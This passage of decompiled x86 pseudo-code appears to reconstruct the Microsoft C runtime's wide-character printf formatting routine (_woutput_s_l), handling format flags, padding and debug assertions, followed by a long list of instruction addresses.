																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t642 = 0;
																					if(0 == 0) {
																						 *(_t674 - 0x4dc) = 0;
																					} else {
																						 *(_t674 - 0x4dc) = 1;
																					}
																					 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
																					if( *(_t674 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t519 = L0041E210();
																						_t677 = _t677 + 0x14;
																						if(_t519 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t674 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422D00(_t588))) = 0x16;
																						E00422A90(_t567, _t588, _t672, _t673, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t674 - 0x4c8) = 0xffffffff;
																						E0041ACB0(_t674 - 0x40);
																						_t504 =  *(_t674 - 0x4c8);
																						L225:
																						return E0042BCB0(_t504, _t567,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
																					}
																				}
																			}
																			L215:
																			if( *(_t674 - 0x45c) == 0 ||  *(_t674 - 0x45c) == 7) {
																				 *(_t674 - 0x4f8) = 1;
																			} else {
																				 *(_t674 - 0x4f8) = 0;
																			}
																			_t642 =  *(_t674 - 0x4f8);
																			 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
																			if( *(_t674 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t509 = L0041E210();
																				_t677 = _t677 + 0x14;
																				if(_t509 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t674 - 0x4bc) != 0) {
																				 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
																				E0041ACB0(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422D00(_t580))) = 0x16;
																				E00422A90(_t567, _t580, _t672, _t673, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t674 - 0x4d0) = 0xffffffff;
																				E0041ACB0(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t674 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t674 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t674 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t674 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t674 - 0x14)) = 0x20;
																						 *(_t674 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t674 - 0x14)) = 0x2b;
																					 *(_t674 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t674 - 0x14)) = 0x2d;
																				 *(_t674 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *((intOrPtr*)(_t674 - 0x24)) -  *(_t674 - 0x1c);
																		if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
																			E0043C970(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		E0043C9B0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																		_t677 = _t677 + 0x10;
																		if(( *(_t674 - 0x10) & 0x00000008) != 0 && ( *(_t674 - 0x10) & 0x00000004) == 0) {
																			E0043C970(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		if( *(_t674 - 0xc) != 0 ||  *((intOrPtr*)(_t674 - 0x24)) <= 0) {
																			L208:
																			E0043C9B0( *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 - 4)),  *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
																			 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t674 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t537 = E0041ACE0(_t674 - 0x40);
																				_t541 = E0043B410(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041ACE0(_t674 - 0x40))) + 0xac)), _t537);
																				_t677 = _t677 + 0x10;
																				 *((intOrPtr*)(_t674 - 0x4b8)) = _t541;
																				if( *((intOrPtr*)(_t674 - 0x4b8)) > 0) {
																					L206:
																					E0043C910( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																					_t677 = _t677 + 0xc;
																					 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *((intOrPtr*)(_t674 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t674 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t674 - 0x44c) >= 0 && ( *(_t674 - 0x10) & 0x00000004) != 0) {
																				E0043C970(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																				_t677 = _t677 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t143 = __edx + 0x43c8d0; // 0xcccccc0d
																	__eax =  *_t143 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043C894))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428360(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B750( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041ACE0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xf2632e26
																					E00424550(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACE0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xf2d1ae26
																						E00424550(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACE0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xf2c8ae26
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428360(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACE0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041ACE0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B410(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			goto L0;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428360(__ebp + 0x14);
																			if(E00433F00() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E210();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
																				__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACB0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428360(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041ACE0(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E00431210( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			L141:
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c21b
0x0043c21b
0x0043c21b
0x0043c21b
0x0043c21b
0x0043c21b
0x0043c21b
0x0043c221
0x0043c224
0x00000000
0x0043c2a2
0x00000000
0x0043c2a2
0x00000000
0x0043c2a2
0x0043c2a2
0x0043c2aa
0x0043c2cc
0x0043c2d2
0x0043c2f7
0x0043c33e
0x0043c341
0x0043c362
0x0043c367
0x0043c36c
0x0043c372
0x0043c343
0x0043c347
0x0043c34c
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2ff
0x0043c321
0x0043c326
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c305
0x0043c30a
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d8
0x0043c2dd
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2b0
0x0043c2b5
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37e
0x0043c3c0
0x0043c3c6
0x0043c3d2
0x00000000
0x0043c380
0x0043c380
0x0043c380
0x0043c387
0x00000000
0x0043c394
0x0043c394
0x0043c3a2
0x0043c3a7
0x0043c3ad
0x0043c3bb
0x0043c3d8
0x0043c3e0
0x0043c402
0x0043c402
0x0043c40c
0x0043c41d
0x0043c427
0x0043c429
0x0043c429
0x0043c40e
0x0043c40e
0x0043c40e
0x0043c43c
0x0043c43e
0x0043c43e
0x0043c44b
0x0043c44e
0x0043c44e
0x0043c454
0x0043c457
0x0043c45c
0x00000000
0x00000000
0x0043c46c
0x0043c46f
0x0043c479
0x0043c488
0x0043c491
0x0043c4a7
0x0043c4ad
0x0043c4ba
0x0043c4c8
0x0043c4c8
0x0043c4d7
0x0043c4df
0x0043c4df
0x0043c4e7
0x0043c4f0
0x0043c4f9
0x0043c505
0x0043c51e
0x0043c524
0x0043c52d
0x0043c52d
0x00000000
0x0043c530
0x00000000
0x0043c530
0x00000000
0x0043c530
0x00000000
0x0043c530
0x00000000
0x0043c530
0x00000000
0x0043c530
0x00000000
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x0043c710
0x0043c714
0x0043c71c
0x0043c721
0x0043c724
0x0043c724
0x0043c72b
0x0043c72b
0x0043b8ab
0x0043b8b2
0x0043b8bf
0x0043b8c4
0x00000000
0x0043b8d7
0x0043b8e1
0x0043b908
0x0043b8ef
0x0043b900
0x0043b900
0x0043b8e1
0x0043b912
0x0043b918
0x0043b924
0x0043b927
0x0043b935
0x0043b938
0x0043b945
0x0043b9ea
0x0043b9f0
0x0043b9fd
0x00000000
0x00000000
0x0043ba03
0x0043ba09
0x00000000
0x0043ba10
0x0043ba10
0x0043ba2a
0x0043ba2f
0x00000000
0x00000000
0x0043ba37
0x0043ba37
0x0043ba3e
0x0043ba41
0x0043ba44
0x0043ba47
0x0043ba4a
0x0043ba4d
0x0043ba50
0x0043ba57
0x0043ba5e
0x00000000
0x00000000
0x0043ba6a
0x0043ba6a
0x0043ba71
0x0043ba7d
0x0043ba80
0x0043ba8d
0x00000000
0x00000000
0x0043ba8f
0x0043ba95
0x0043ba95
0x0043ba9c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bae0
0x0043bae0
0x0043baea
0x0043bb17
0x0043bb21
0x0043bb21
0x0043bb25
0x0043baec
0x0043baec
0x0043baf8
0x0043baff
0x0043bb04
0x0043bb07
0x0043bb0a
0x0043bb0d
0x0043bb0f
0x0043bb0f
0x0043bb12
0x00000000
0x00000000
0x0043bb2d
0x0043bb2d
0x00000000
0x00000000
0x0043bb39
0x0043bb39
0x0043bb43
0x0043bb63
0x0043bb66
0x0043bb70
0x0043bb70
0x0043bb74
0x0043bb45
0x0043bb45
0x0043bb51
0x0043bb58
0x0043bb5a
0x0043bb5a
0x0043bb61
0x00000000
0x00000000
0x0043bb7c
0x0043bb7c
0x0043bb83
0x0043bb8f
0x0043bb92
0x0043bb9f
0x0043bcb2
0x00000000
0x0043bcb2
0x0043bba5
0x0043bbab
0x0043bbab
0x0043bbb2
0x00000000
0x0043bbe9
0x0043bbe9
0x0043bbec
0x0043bbf2
0x0043bc19
0x0043bc19
0x0043bc1c
0x0043bc22
0x0043bc46
0x0043bc46
0x0043bc49
0x0043bc4f
0x0043bc88
0x0043bc99
0x00000000
0x0043bc99
0x0043bc51
0x0043bc51
0x0043bc54
0x0043bc5a
0x00000000
0x00000000
0x0043bc5c
0x0043bc5c
0x0043bc5f
0x0043bc65
0x00000000
0x00000000
0x0043bc67
0x0043bc67
0x0043bc6a
0x0043bc70
0x00000000
0x00000000
0x0043bc72
0x0043bc72
0x0043bc75
0x0043bc7b
0x00000000
0x00000000
0x0043bc7d
0x0043bc7d
0x0043bc80
0x0043bc86
0x0043bc8a
0x00000000
0x0043bc8a
0x00000000
0x0043bc86
0x0043bc24
0x0043bc24
0x0043bc27
0x0043bc2e
0x00000000
0x0043bc30
0x0043bc33
0x0043bc36
0x0043bc3c
0x0043bc41
0x00000000
0x0043bc41
0x0043bc2e
0x0043bbf4
0x0043bbf4
0x0043bbf7
0x0043bbfe
0x00000000
0x0043bc00
0x0043bc03
0x0043bc06
0x0043bc0c
0x0043bc11
0x00000000
0x0043bc11
0x00000000
0x0043bc9b
0x0043bc9b
0x0043bc9e
0x0043bca1
0x00000000
0x00000000
0x0043bbb9
0x0043bbb9
0x0043bbbc
0x0043bbc2
0x0043bbde
0x0043bbe1
0x0043bbc4
0x0043bbc4
0x0043bbc7
0x0043bbca
0x0043bbd0
0x0043bbd6
0x0043bbd6
0x00000000
0x00000000
0x0043bca6
0x0043bca9
0x0043bcaf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bab9
0x0043bab9
0x0043babc
0x0043babf
0x00000000
0x00000000
0x0043bac4
0x0043bac7
0x0043bacd
0x00000000
0x00000000
0x0043baae
